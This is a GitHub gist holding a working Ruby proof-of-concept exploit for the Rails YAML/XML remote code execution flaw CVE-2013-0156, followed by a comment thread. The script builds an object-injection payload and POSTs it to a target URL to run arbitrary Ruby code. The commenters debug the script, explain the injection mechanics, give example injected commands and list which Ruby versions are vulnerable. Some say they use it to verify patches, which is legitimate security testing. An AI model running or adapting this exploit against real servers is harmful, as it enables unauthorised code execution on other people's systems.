-
-
Save postmodern/4499206 to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby | |
# | |
# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156) | |
# | |
# ## Advisory | |
# | |
# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion | |
# | |
# ## Caveats | |
# | |
# * Does not support Ruby 1.8.7. | |
# | |
# ## Synopsis | |
# | |
# $ rails_rce.rb URL RUBY | |
# | |
# ## Dependencies | |
# | |
# $ gem install ronin-support | |
# | |
# ## Example | |
# | |
# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'" | |
# | |
# ### config/routes.rb | |
# | |
# resources :secrets do | |
# collection do | |
# post :search | |
# end | |
# end | |
# | |
# ### app/controllers/secrets_controller.rb | |
# | |
# def search | |
# @secret = secret.find_by_secret(params[:secret]) | |
# | |
# render :json => @secret | |
# end | |
# | |
# ## License | |
# | |
# Copyright (c) 2013 Postmodern | |
# | |
# This exploit is free software: you can redistribute it and/or modify | |
# it under the terms of the GNU General Public License as published by | |
# the Free Software Foundation, either version 3 of the License, or | |
# (at your option) any later version. | |
# | |
# This exploit is distributed in the hope that it will be useful, | |
# but WITHOUT ANY WARRANTY; without even the implied warranty of | |
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
# GNU General Public License for more details. | |
# | |
# You should have received a copy of the GNU General Public License | |
# along with this exploit. If not, see <http://www.gnu.org/licenses/>. | |
# | |
# ## Shoutz | |
# | |
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch, | |
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern, | |
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @bascule, | |
# @charliesome, @homakov, @envygeek, @chendo, @bitsweat (for creating the vuln), | |
# @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters, | |
# the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed | |
# cigarettes off us, SophSec crew and affiliates. | |
# | |
require 'ronin/network/http' | |
require 'ronin/formatting/html' | |
require 'ronin/ui/output' | |
require 'yaml' | |
include Ronin::Network::HTTP | |
include Ronin::UI::Output::Helpers | |
def escape_payload(payload,target=:rails3) | |
case target | |
when :rails3 then "foo\n#{payload}\n__END__\n" | |
when :rails2 then "foo\nend\n#{payload}\n__END__\n" | |
else | |
raise(ArgumentError,"unsupported target: #{target}") | |
end | |
end | |
def wrap_payload(payload) | |
"(#{payload}; @executed = true) unless @executed" | |
end | |
def exploit(url,payload,target=:rails3) | |
escaped_payload = escape_payload(wrap_payload(payload),target) | |
encoded_payload = escaped_payload.to_yaml.sub('--- ','').chomp | |
yaml = %{ | |
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection | |
? #{encoded_payload} | |
: !ruby/struct | |
defaults: | |
:action: create | |
:controller: foos | |
required_parts: [] | |
requirements: | |
:action: create | |
:controller: foos | |
segment_keys: | |
- :format | |
}.strip | |
xml = %{ | |
<?xml version="1.0" encoding="UTF-8"?> | |
<exploit type="yaml">#{yaml.html_escape}</exploit> | |
}.strip | |
return http_post( | |
:url => url, | |
:headers => { | |
:content_type => 'text/xml', | |
:x_http_method_override => 'get' | |
}, | |
:body => xml | |
) | |
end | |
if $0 == __FILE__ | |
unless ARGV.length >= 2 | |
$stderr.puts "usage: #{$0} URL RUBY [rails3|rails2]" | |
exit -1 | |
end | |
url = ARGV[0] | |
payload = ARGV[1] | |
target = ARGV.fetch(2,:rails3).to_sym | |
print_info "POSTing #{payload} to #{url} ..." | |
response = exploit(url,payload,target) | |
case response.code | |
when '200' then print_info "Success!" | |
when '500' then print_error "Error!" | |
else print_error "Received response code #{response.code}" | |
end | |
end |
Update to 2.3.15 or use workaround: https://groups.google.com/forum/m/?fromgroups#!topic/rubyonrails-security/61bkgvnSGTQ
I wrote up a detailed explanation of the Rails vulnerability here: http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/
It breaks down a proof of concept example step by step to illustrate how object injection leads to code injection.
Can you explain to me what does "END" do in this gist? Thanks
@bachue: Ruby has a facility for inlining data into your code. Anything after __END__
is ignored by the parser and is instead put into a special global called DATA
. In this case, the named route generator does some wizardry using module_eval
, and the __END__
is used to make sure that only our code is run and any other wizardry skipped.
More info on DATA
and __END__
: http://shifteleven.com/articles/2009/02/09/useless-ruby-tricks-data-and-__end__
Can someone explain what has to happen on the server-side to make this exploit work? I have tried executing it against a production 3.2.9 app and with the "puts 'lol'" code to execute and nothing shows up on my logs. My goal is to see the exploit work, update the app to mitigate the problem, then run again to verify it is no longer exploitable.
I had to modify this code slightly. I removed the x_http_method_override
. Also, I did not see the Ruby code execute in either instance. Here's what I saw in my server logs.
Unpatched Server
Started POST "/items" for 127.0.0.1 at 2013-01-10 12:55:34 -0500
Processing by ItemsController#create as */*
Parameters: {"exploit"=>#<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x007ffa1225a148>}
Patched Server
Started POST "/items" for 127.0.0.1 at 2013-01-10 12:56:14 -0500
Processing by ItemsController#create as */*
Parameters: {}
My changes are here: https://gist.github.com/4504388
@eric1234 you may be running your server in a way that doesn't capture stdout. Inject something like File.open('/tmp/foo') {|f| f.write('bar')}
.
Still no luck. I tried using the Rails logger to write to the log file. I also tried just creating a new file like @cairo140 suggested. Here is what I see in my log:
Started GET "/home" for 76.20.208.70 at 2013-01-10 16:54:11 -0600
Processing by PagesController#show as */*
Parameters: {"exploit"=>{"foo; open('/tmp/exploit.txt') {|f| f.write('success')}\n__END__\n"=>#<OpenStruct defaults={:action=>"create", :controller=>"foos"}, required_parts=[], requirements={:action=>"create", :controller=>"foos"}, segment_keys=[:format]>}, "id"=>12}
[....snip logs not relevant....]
Completed 200 OK in 53ms (Views: 41.3ms | ActiveRecord: 2.2ms)
The example in this gist does not match the current edit.... and I cannot get a successful test. I would think another bit of code to run would be 'Rails.logger.debug "OUCH"'
@mjbellantoni turns out ronin-support HTTP.request will not send a body if Net::HTTPRequest#request_body_permitted?
returns false; this has been fixed in master. So a POST
and X-Http-Method-Override
are required. Your first example output looks correct. The output of the injected code should appear just above the Rails Request logging output.
@eric1234 Checkout the lengthy write up. I tested the exploit against a Rails 3.2.9 app, but in development mode. Perhaps check the production log files? However, your example output looks incorrect, it should contain an ActionDispatch::Routing::RouteSet::NamedRouteCollection
object. Is this app running on Ruby 1.8?
@postmodern - I figured out why your exploit did not work for me. My Rails application is running Ruby 1.9.2 which ships with Psych 1.0.0. This version of Psych is not as magical. It will serialize into arbitrary classes for Object, String and Exception. But you always got a plain Hash object from Psych until this pull request. So if your app is running on Ruby 1.9.2 you are not AS vulnerable although I am sure a crafty person could come up with a similar exploit that serializes a subclass of Object, String or Exception and figures out how to execute code on that object.
One thing I am wondering. Since all this depends on YAML serialization of ruby objects, and since Ruby 1.8.x shipped with Syck instead of Psych. Is it as vulnerable? I took a quick look at the code and I don't think it is. All objects that can be deserialized are explicity declared and there is not magic deserialization of sub-classes. Would love someone who is better with security to confirm that. If that is the case then does that means any Rails app on 1.8 is not vulnerable. I know a lot of people have moved to 1.9 but if 1.8 is safe then that significantly cuts down on the number of apps that need to be patched.
Just to followup. I did a bit more testing and Ruby 1.8 is indeed vulnerable to some of your POC scripts, but not this one for the same reason as Ruby 1.9.2. This script depends on the fact that you can unserialize any hash-like object via the ruby/hash tag. Ruby 1.9.2 and Ruby 1.8 BOTH do not allow this. You will always get back a plain Hash.
From what I can tell your symbol DOS POC would still be effective on Ruby 1.8 and Ruby 1.9.2. Also your SQL Injection should still be effective since Arel::Nodes::SqlLiteral inherits from String. Ruby 1.8 and 1.9.2 won't allow a ruby/string to be an arbitrary class. But any subclass of String (like SqlLiteral) will work.
@eric1234 Excellent findings! I will update the blog post.
I have also refactored the exploit to support both Rails 2 and 3. It turns out both Rails 2 and 3 provide a ActionController::Routing::RouteSet::NamedRouteCollection
constant for backwards compatibility. However, the helper code that is evaluated is slightly different, so I had to require the user specify the version of Rails they wish to exploit.
Rails 2
def #{selector}(options = nil)
options ? #{options.inspect}.merge(options) : #{options.inspect}
end
protected :#{selector}
Rails 3
remove_possible_method :#{selector}
def #{selector}(*args)
options = args.extract_options!
result = #{options.inspect}
if args.size > 0
result[:_positional_args] = args
result[:_positional_keys] = #{route.segment_keys.inspect}
end
result.merge(options)
end
protected :#{selector}
@eric1234 Just installed Ruby 1.9.2-p320 and can confirm Rails 2.x and 3.x are not vulnerable to the RCE exploit.
You need to correct the documentation above, as you're also specifying the param 'secret' in there; from what I can see this is not needed for this exploit although was used in the SQL (AREL) injection attack.
# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'" rails3
@bsodmike good eyes. Fixed.
I'm getting an error:
./rails_rce.rb:92:in `exploit': undefined method `sub' for {}:Hash (NoMethodError)
from ./rails_rce.rb:135:in `<main>'
I also get this error
encoded_payload = escaped_payload.to_yaml('').sub('--- ','').chomp
should fix the error.
Can anyone help me to understand this vulnerability ?
Do you know the changes needed for Rails 2 apps?